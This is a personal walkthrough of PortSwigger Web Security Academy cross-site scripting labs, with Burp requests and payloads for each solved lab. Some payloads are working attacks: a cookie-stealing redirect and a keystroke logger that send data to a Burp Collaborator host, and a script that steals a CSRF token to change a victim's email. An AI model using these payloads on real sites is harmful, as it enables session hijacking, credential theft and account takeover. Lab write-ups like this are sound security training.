IN PROGRESS: WebSecurityAcademy (PortSwigger) – Cross-site scripting (XSS)

Walk-through of Cross-site scripting lab on PortSwigger Web Security Academy.

💡 Use this XSS Cheat Sheet (PortSwigger).

Apprentice: Reflected XSS into HTML context with nothing encoded

In the search box, enter:

  • Intercept requests using Burp Suite.
  • Enter some text in the search box.
  • Send the request to the repeater.
  • Replace the search parameter value by the XSS payload.
GET /?search=<script>alert(1);</script> HTTP/1.1

Apprentice – Stored XSS into HTML context with nothing encoded

View a post. Enter a comment. We can see that the comment is enclosed in the paragraph HTML tag.

<p>whatever</p>

Post a comment with the XSS payload

</p><script>alert(1);</script><p>

Apprentice – DOM XSS in document.write sink using source location.search

Enter whatever in the search box

Right-click on the page and choose Inspect. The search term is included in an image tag.

<img src="/resources/images/tracker.gif?searchTerms=whatever">

Enter this payload in the search box

whatever"><script>alert(1);</script>

Apprentice – DOM XSS in innerHTML sink using source location.search

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe. Event handlers such as onload and onerror can be used in conjunction with these elements.

https://portswigger.net/web-security/cross-site-scripting/dom-based
<img src=1 onerror=alert(1)>

Apprentice – DOM XSS in jQuery anchor href attribute sink using location.search source

If a JavaScript library such as jQuery is being used, look out for sinks that can alter DOM elements on the page. For instance, jQuery’s attr() function can change the attributes of DOM elements. If data is read from a user-controlled source like the URL, then passed to the attr() function, then it may be possible to manipulate the value sent to cause XSS.

https://portswigger.net/web-security/cross-site-scripting/dom-based

Click on Submit feedback. A parameter returnPath is added in the URL.

GET /feedback?returnPath=/ HTTP/1.1

We can see this code in the server response that creates the URL for the Back link at the bottom of the Submit feedback page.

$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
GET /feedback?returnPath=javascript:alert(document.cookie) HTTP/1.1

Apprentice – DOM XSS in jQuery selector sink using a hashchange event

Response from the Home page

$(window).on('hashchange', function(){
    var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
        if (post) post.get(0).scrollIntoView();
});

At the top of the lab page, click on the exploit server. Enter this body and click Deliver exploit to victim, or just save this payload to a file and open it in a second browser tab.

<iframe src="https://<lab ID>.web-security-academy.net//#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

Apprentice – Reflected XSS into attribute with angle brackets HTML-encoded

Enter this payload in the search box

See Cross-site scripting contexts.

whatever" autofocus onfocus=alert(document.domain) x="

Apprentice – Stored XSS into anchor href attribute with double quotes HTML-encoded

Post a comment with “whatever” in the website field

<a id="author" href="whatever">a</a>

Post a comment with this payload in the website field

Since the double quote is encoded to “&quot;”, use a payload without this character.

javascript:alert(1)

Apprentice – Reflected XSS into a JavaScript string with angle brackets HTML encoded

Enter whatever in the search box

var searchTerms = 'whatever';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');

Enter this payload in the search box

whatever';alert(1);//

Practitioner – DOM XSS in document.write sink using source location.search inside a select element

Click on a product

GET /product?productId=1 HTTP/1.1
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');

Add the storeId parameter in the URL on the product page

&storeId=whatever</option></select><img src=a onerror=alert(1) >
GET /product?productId=1&storeId=whatever</option></select><img src=a onerror=alert(1) >

Practitioner – DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

Enter whatever in the search box

We find an ng-app attribute in the body tag which means it is a template. Angular version is 1.7.7 from the response in Burp Suite.

<body ng-app>

Enter this payload in the search box

Use the AngularJS sandbox escapes reflected in the XSS Cheat Sheet, NOT the AngularJS sandbox escapes DOM. The payload was for Angular 1.0.1 – 1.1.5 and should not work on AngularJS 1.7.7 according to the cheat sheet…

{{$on.constructor('alert(1)')()}}

Practitioner – Reflected DOM XSS

Enter any search in the search bar

<script src='resources/js/searchResults.js'></script>
<script>search('search-results')</script>

The search function in searchResults.js uses the eval function.

eval('var searchResultsObj = ' + this.responseText);

The JSON response escapes quotes. We can use a backslash. The “-” is used to separate the expressions before the alert function is called. The “//” is used to comment the rest of the object.

\"-alert(1)}//

Practitioner – Stored DOM XSS

Inspect the JavaScript code.

loadCommentsWithVulnerableEscapeHtml.js:


function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}
function displayComments(comments) {
    [...]
    if (comment.body) {
        let commentBodyPElement = document.createElement("p");
        commentBodyPElement.innerHTML = escapeHTML(comment.body);

        commentSection.appendChild(commentBodyPElement);
    }
    [...]

The JavaScript replace() function will only replace the first occurrence of <> unless other arguments are used. Add an extra set of angle brackets at the beginning of the comment to bypass the escapeHTML function. These angle brackets will be encoded but not the others. The innerHTML sink is used in the displayComments function.

Post a comment with this payload

<><img src=1 onerror=alert(1)>

Practitioner – Exploiting cross-site scripting to steal cookies

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.

  • On the Home page, click on View post under any post.
  • Enter any comment.
POST /post/comment HTTP/1.1
...

csrf=aGWEhDD3qG9Gay7Xf2TceflQlLqcAW4B&postId=10&comment=whatever&name=whatever&email=whatever%40example.com&website=http%3A%2F%2Fwhatever.com
...
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="http://whatever.com">whatever</a> | 10 February 2023
</p>
<p>whatever</p>
<p></p>
</section>

Send the request to the Repeater module. The comment field is vulnerable to XSS. Exfiltrate the cookies using Burp Collaborator.

POST /post/comment HTTP/1.1
...

csrf=aGWEhDD3qG9Gay7Xf2TceflQlLqcAW4B&postId=10&comment=<@urlencode><script>document.location='https://<BURP COLLABORATOR ID>.oastify.com?cookie='+document.cookie</script><@/urlencode>&name=whatever&email=whatever%40example.com&website=http%3A%2F%2Fwhatever.com

Burp Collaborator receives a request.

GET /?cookie=secret=VTUgfiNLdU7efBkd6XyBauTSjFRbVRkD;%20session=pt6tX4EL8pnkpPJ21cyHciZO585GGSP8 HTTP/1.1
...

In the web browser, change the session cookie value to “pt6tX4EL8pnkpPJ21cyHciZO585GGSP8”. Click on My account. You are logged in as the administrator.

Practitioner – Exploiting cross-site scripting to capture passwords

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.

View a post. Enter a comment with the following payload. We can see that the alert function is executed.

<img src=1 onerror=alert(1)>

Post a comment with the XSS payload (keylogger)

The username and password fields are added so the autofill enters the credentials and the keylogger captures them.

<script>
var buffer = "";
var url = 'https://<BURP COLLABORATOR ID>.oastify.com/?data='

document.onkeypress = function(e) {
    buffer = buffer + e.key;
}

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = url + data;
        buffer = "";
    }
}, 2000);
</script>

<input name=username id=username>
<input type=password name=password>

Burp Collaborator receives a request.

GET /?data=administrator8c60pezg8dm2rnx8o5l0 HTTP/1.1
...

It gives credentials “administrator/8c60pezg8dm2rnx8o5l0”.

Practitioner – Exploiting XSS to perform CSRF

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change the email address of someone who views the blog post comments. You can log in to your own account using the following credentials: wiener:peter

  • Click on My account and enter credentials wiener/peter.
  • Change the email address.
POST /my-account/change-email HTTP/2
...

email=whatever%40example.com&csrf=uv2D27bCWUeXaYVQOrgX2TVe47GvzAEc

The request contains a CSRF token. Removing the parameter does not work, so we will need to load the /my-account page and retrieve the token.

<input required="" type="hidden" name="csrf" value="<token>">

Post this comment in a blog post. Note: you cannot reuse the same email address, change it.

<script>
    var request = new XMLHttpRequest();
    request.onload = handleResponse;
    request.open('GET','/my-account',true); // Get the CSRF token
    request.send();

    function handleResponse() {
        // Extract the CSRF token
        var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];

        // Send a POST request to execute the CSRF
        var request2 = new XMLHttpRequest();
        request2.open('POST', '/my-account/change-email', true);
        request2.send('email=CSRF@example.com&csrf='+token);
    };
</script>

❗ Do not visit the blog post or you will change your own email address…

Practitioner – Reflected XSS into HTML context with most tags and attributes blocked

This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors. To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.

The search is vulnerable to XSS. Enter the search term “test” and inspect the page.

<h1>0 search results for 'test'</h1>

Trying to complete the HTML code with tags like <script> will be blocked by the WAF.

'</h1><script>
"Tag is not allowed"

Send the request to the Intruder module and make the tag the varying part. We will try to find which tags are allowed.

GET /?search=%3C§tag§ HTTP/2
...

We find that the tag <body> is allowed (returns HTTP 200 OK instead of HTTP 400 Bad Request). Try this payload.

'</h1><body onload=print()></body>
Attribute is not allowed

Send the request to the Intruder module and make the event the varying part. We will try to find which events are allowed.

GET /?search=%27%3C%2Fh1%3E%3Cbody+§onload§%3Dprint%28%29%3E%3C%2Fbody%3E HTTP/2
...

We find events “onbeforeinput” and “onresize” are allowed (returns HTTP 200 OK instead of HTTP 400 Bad Request). Try this payload.

'</h1><body contenteditable onbeforeinput=print()></body>

Clicking in the editable body and entering a character triggers the XSS, but this would require user action. Try the other event “onresize”.

'</h1><body onresize=print()></body>

Click on Go to exploit server. Put the payload in an iframe and resize it to trigger the payload.

<iframe src="https://<LAB ID>.web-security-academy.net/?search='</h1><body onresize=print()></body>" onload=this.style.width='100px'>

Practitioner – Reflected XSS into HTML context with all tags blocked except custom ones

This lab blocks all HTML tags except custom ones. To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.

The search is vulnerable to XSS. Enter the search term “test” and inspect the page.

<h1>0 search results for 'test'</h1>

Trying to complete the HTML code with tags like <script> will be blocked by the WAF.

'</h1><script>
"Tag is not allowed"

Custom tags are allowed.

'</h1><whatever></whatever>
<h1>0 search results for ''</h1>
<whatever></whatever>

Some payloads work but require user interaction:

'</h1><whatever contenteditable onbeforeinput=alert(document.cookie)>whatever</whatever>

Find a way to trigger the XSS without user interaction.

'</h1><whatever autofocus tabindex=1 onfocusin=alert(document.cookie)>whatever</whatever>

Click on Go to exploit server. Put the payload in the body. URL-encode the payload and insert it in the body. Click Deliver exploit to victim.

<script>location="https://<LAB ID>.web-security-academy.net/?search=%27%3c%2f%68%31%3e%3c%77%68%61%74%65%76%65%72%20%61%75%74%6f%66%6f%63%75%73%20%74%61%62%69%6e%64%65%78%3d%31%20%6f%6e%66%6f%63%75%73%69%6e%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3e%77%68%61%74%65%76%65%72%3c%2f%77%68%61%74%65%76%65%72%3e"</script>

Practitioner – Reflected XSS with some SVG markup allowed

This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events. To solve the lab, perform a cross-site scripting attack that calls the alert() function.

The search is vulnerable to XSS. Enter the search term “test” and inspect the page.

<h1>0 search results for 'test'</h1>

Trying to complete the HTML code with tags like <script> will be blocked by the WAF.

'</h1><script>
"Tag is not allowed"

Send the request to the Intruder to find allowed tags.

GET /?search='</h1><§tag§> HTTP/2
...

We find that the tags <animatedtransform>, <image>, <title> and <svg> are allowed (return HTTP 200 OK instead of HTTP 400 Bad Request). Try this payload.

Make the event the varying part. We will try to find which events are allowed.

GET /?search='</h1><animatetransform%20§tag§=> HTTP/2
...

We find that event” “onbegin” is allowed (returns HTTP 200 OK instead of HTTP 400 Bad Request).

In the Cross-site scripting (XSS) cheat sheet, double-click on tag svg->animatetransform. Use this payload.

'</h1><svg><animatetransform onbegin=alert(1) attributeName=transform>

Practitioner – Reflected XSS in canonical link tag

This lab reflects user input in a canonical link tag and escapes angle brackets. To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function. To assist with your exploit, you can assume that the simulated user will press the following key combinations:

ALT+SHIFT+X
CTRL+ALT+X
Alt+X

Please note that the intended solution to this lab is only possible in Chrome.

See this payload example from XSS in hidden input fields (PortSwigger):

<link rel="canonical" accesskey="X" onclick="alert(1)" />

Enter this URL:

https://<LAB ID>.web-security-academy.net/?postId='accesskey='x'onclick='alert(1)

This sets the X key as an access key for the whole page. When a user presses the access key, the alert function is called. To trigger the exploit on yourself, press one of the following key combinations:

  • On Windows: ALT+SHIFT+X
  • On MacOS: CTRL+ALT+X
  • On Linux: Alt+X

Practitioner – Reflected XSS into a JavaScript string with single quote and backslash escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

The search is vulnerable to XSS. Enter the search term “whatever” and inspect the requests in Burp.

GET /?search=whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3485

[...]
<h1>0 search results for 'whatever&apos;'</h1>
[...]
<script>
var searchTerms = 'whatever';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
[...]

Close the script tag that is enclosing the existing JavaScript, and introduce some new HTML tags that will trigger execution of JavaScript. See Cross-site scripting contexts.

whatever</script><img src=1 onerror=alert(1)>

Enter this URL to solve the lab:

https://<LAB ID>.web-security-academy.net/?search=whatever</script><img+src=1+onerror=alert(1)>

Practitioner – Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

The search is vulnerable to XSS. Enter the search term “whatever” and inspect the requests in Burp.

GET /?search=whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3485

[...]
<h1>2 search results for 'whatever'</h1>
[...]
<script>
var searchTerms = 'whatever';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
[...]

Trying to add a single quote results in the single quote being escaped with a backslash.

GET /?search=whatever' HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
[...]
var searchTerms = 'whatever\'';
[...]

However, backslash character itself is not escaped.

GET /?search=whatever\' HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
[...]
var searchTerms = 'whatever\\'';
[...]

This means that an attacker can use their own backslash character to neutralize the backslash that is added by the application.

GET /?search=whatever\';alert(1)// HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
[...]
<script>
var searchTerms = 'whatever\\';alert(1)//';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
[...]

Enter this URL to solve the lab:

https://<LAB ID>.web-security-academy.net/?search=whatever\';alert(1)//

Practitioner – Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

  • From the Home page, click on View post under any post.
  • Post a comment.
  • Send the POST request to the Repeater.
POST /post/comment HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&postId=7&comment=whatever&name=Whatever&email=whatever%40example.com&website=http%3A%2F%2Fwhatever.com
GET /post?postId=7 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
<section class="comment">
<p><img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="http://whatever.com" onclick="var tracker={track(){}};tracker.track('http://whatever.com');">Whatever</a> | 27 June 2023
</p><p>whatever</p><p></p>
</section>

The Name field is a link to the Website field from the comment form.

When the application blocks or sanitizes certain characters, you can often bypass the input validation by HTML-encoding those characters. See Cross-site scripting contexts.

Use the following payload to break out of the JavaScript string and execute your own script.

&apos;-alert(1)-&apos;
POST /post/comment HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&postId=7&comment=whatever&name=Whatever&email=whatever%40example.com&website=<@urlencode>http://whatever.com&apos;-alert(1)-&apos;<@/urlencode>

Visit the blog post and click on the author’s name to solve the lab.

Practitioner – Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.

The search is vulnerable to XSS. Enter the search term “whatever” and inspect the requests in Burp.

GET /?search=whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 4176

[...]
<section class=blog-header>
<h1 id="searchMessage"></h1>
<script>
  var message = `1 search results for 'whatever'`;
  document.getElementById('searchMessage').innerText = message;
</script>
<hr>
</section>
[...]

When the XSS context is into a JavaScript template literal, there is no need to terminate the literal. Instead, you simply need to use the ${…} syntax to embed a JavaScript expression that will be executed when the literal is processed. Use this search term to solve the lab:

whatever${alert(1)}
GET /?search=whatever${alert(1)} HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3601

[...]
<section class=blog-header>
<h1 id="searchMessage"></h1>
<script>
  var message = `0 search results for 'whatever${alert(1)}'`;
  document.getElementById('searchMessage').innerText = message;
</script>
<hr>
</section>
[...]

Expert – Reflected XSS with event handlers and href attributes blocked

❗ NOT DONE YET

Expert – Reflected XSS in a JavaScript URL with some characters blocked

❗ NOT DONE YET

Expert – Reflected XSS with AngularJS sandbox escape without strings

❗ NOT DONE YET

Expert – Reflected XSS with AngularJS sandbox escape and CSP

❗ NOT DONE YET

Expert – Reflected XSS protected by very strict CSP, with dangling markup attack

❗ NOT DONE YET

Expert – Reflected XSS protected by CSP, with CSP bypass

❗ NOT DONE YET